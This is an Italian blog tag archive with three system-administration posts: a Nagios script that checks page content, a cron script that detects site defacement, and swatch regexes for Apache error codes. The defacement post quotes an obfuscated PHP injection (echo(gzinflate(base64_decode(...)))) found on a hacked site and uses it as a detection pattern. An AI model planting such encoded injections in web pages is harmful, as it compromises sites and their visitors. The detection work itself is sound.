Archivi tag: pattern

Nagios e contenuti Web: script per verificare il codice HTML del nostro sito Internet

In questo blog ho dedicato diversi post a Nagios, essendo, a mio avviso, uno dei migliori NMS open source in circolazione. Tra i vari plugin messi a disposizione dal suddetto software di monitoraggio vi è check_http, il quale è in grado di inviare delle richieste apposite al sito Web che intendiamo monitorare, segnalando eventuali problemi di connessione o errori di protocollo (401, 403, 404, 500, ecc.).

nagiosSpesso, però, si rende necessario verificare anche che il contenuto del sito Web sia effettivamente visualizzato dall’utente finale (cosa non sempre vera, soprattutto quando si ha un’infrastruttura costituita na N frontend che contattano N server API per “popolare” la pagina Web da offire ai client). Per questo motivo ho deciso di creare il seguente script, in grado di saggiare il contenuto del sito Web:

#!/bin/bash

if [ -n "$1" ];then
 result=`curl -s $1 | grep ng-controller=\"Main\"`
 if [ -n "$result" ]; then
       echo "OK"
       exit 0
 else
       echo "CRITICAL"
       exit 2
 fi
else
      echo "Usage: check_content <URL>"
fi

exit 0

Il suo funzionamento è abbastanza banale. Sostanzialmente esegue una chiamata curl al sito target, cercando un determinato pattern nel sorgente della pagina Web (in questo caso la stringa cercata è ng-controller=\”Main\”).

Se il suddetto pattern viene trovato, l’eseguibile esce con status 0 (OK), altrimenti restituisce un errore di tipo CRITICAL (exit 2).

Ovviamente occorre scegliere la stringa da cercare molto attentamente, ovvero deve essere qualcosa che non varia in base alle eventuali modifiche del codice HTML (release).

Spero che il suddetto script possa tornarvi utile.

Alla prossima.

Script per tenere sotto controllo i siti vittima di defacing

Recentemente è aumentato a dismisura il numero di siti che hanno subito un defacing. Tale piaga può essere dovuta a diversi fattori:

1) vulnerabilità del Web server (ricordate il celeberrimo exploit per IIS che sfruttava una cattiva gestione dell’URL encoding?)

2) Vulnerabilità del sistema operativo che ospita il Web server (o di uno dei servizi attivi sulla macchina);

3) Furto delle credenziali FTP, soprattutto se sono state inviate via email.

defacing, pattern, bash, cracker, cron, script, monitoring

Vi assicuro che la terza ipotesi è quella più gettonata, nel senso che sempre più spesso si assiste ad un defacing proprio perchè i cracker hanno ottenuto accesso allo spazio FTP, riuscendo quindi a modificare a piacimento le pagine Web del sito vittima.

Ad esempio, in questo post ho discusso di un defacing avvenuto sul sito di un amico. Il pattern specifico che lo identificava era il seguente:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Ecco allora che ho pensato di creare uno scrip, da eseguire automaticamente mediante cron, che mi potesse segnalare la presenza del suddetto pattern sul sito che stavo monitorando:

#!/bin/bash

touch temp

data=`date`

wget nomesito.it

cat index.html | grep gzinflate >> temp

if [ -s temp ]; then
cat temp | mail -iv -s "$data: codice malevolo iniettato" vostro.indirizzo@email.it
fi

rm index.html*

rm temp

exit 0

Lo scrip è abbastanza banale ma vi assicuro che è di un’utilità pazzesca.

Potete modificarlo a vostro piacimento, basta che settate il sito da monitorare, il pattern (dopo il grep) ed il vostro indirizzo di posta elettronica (su cui verranno inviate le email di alert in caso di defacciamento).

Spero vi possa tornare utile.

Alla prossima.

Swatch, Apache e base rate fallacy a palla

In questo post vi ho mostrato una possibile configurazione di swatch per ciò che concerne il monitoraggio delle richieste inoltrate ad un server Web. 

apache, swatch, regex, pattern, log, HTTP error code

Ovviamente tale configurazione è molto simile a quella che attualmente gira sui miei server, ragion per cui ho avuto modo di testarla in modo massiccio. Un effetto colletarale che mi è saltato all’occhio quasi immediatamente riguardava i falsi positivi, ovvero pattern del tutto innocui che swatch mi segnalava come errori HTTP.

Mi spiego meglio. Data una entry del file di log simile alla seguente:

192.168.x.x - jumbo [30/Jul/2012:16:03:20 +0200] "GET /prova.php HTTP/1.1" 200 4036 "https://www.pincopallo.it/prova.php" "Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1"

essa mi veniva segnalata come HTTP Forbidden (errore 403) per via del 4036.

Il file di log contenente il giusto codice di errore dovrebbe avere una forma simile alla seguente:

79.55.x.x - jumbo [30/Jul/2012:21:28:53 +0200] "GET /prova.php HTTP/1.1" 403 773 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0"

Ovvero il codice di errore è sempre preceduto e seguito da uno spazio vuoto.

Alla luce di tali considerazioni le regex da settare su swatch diventano le seguenti:

#HTTP Forbidden
watchfor  / 403 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Access Forbidden

#HTTP Not Found
watchfor  / 404 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Not Found

#HTTP Internal Server Error
watchfor  / 500 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Internal Server Error

#HTTP OK
watchfor  / 200 /
     echo
     mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Hit OK

Quindi, poichè i pattern da matchare devono essere contenuti all’interno dei due slash (/), è bastato aggiungere uno spazio prima e dopo del codice di errore.

Enjoy.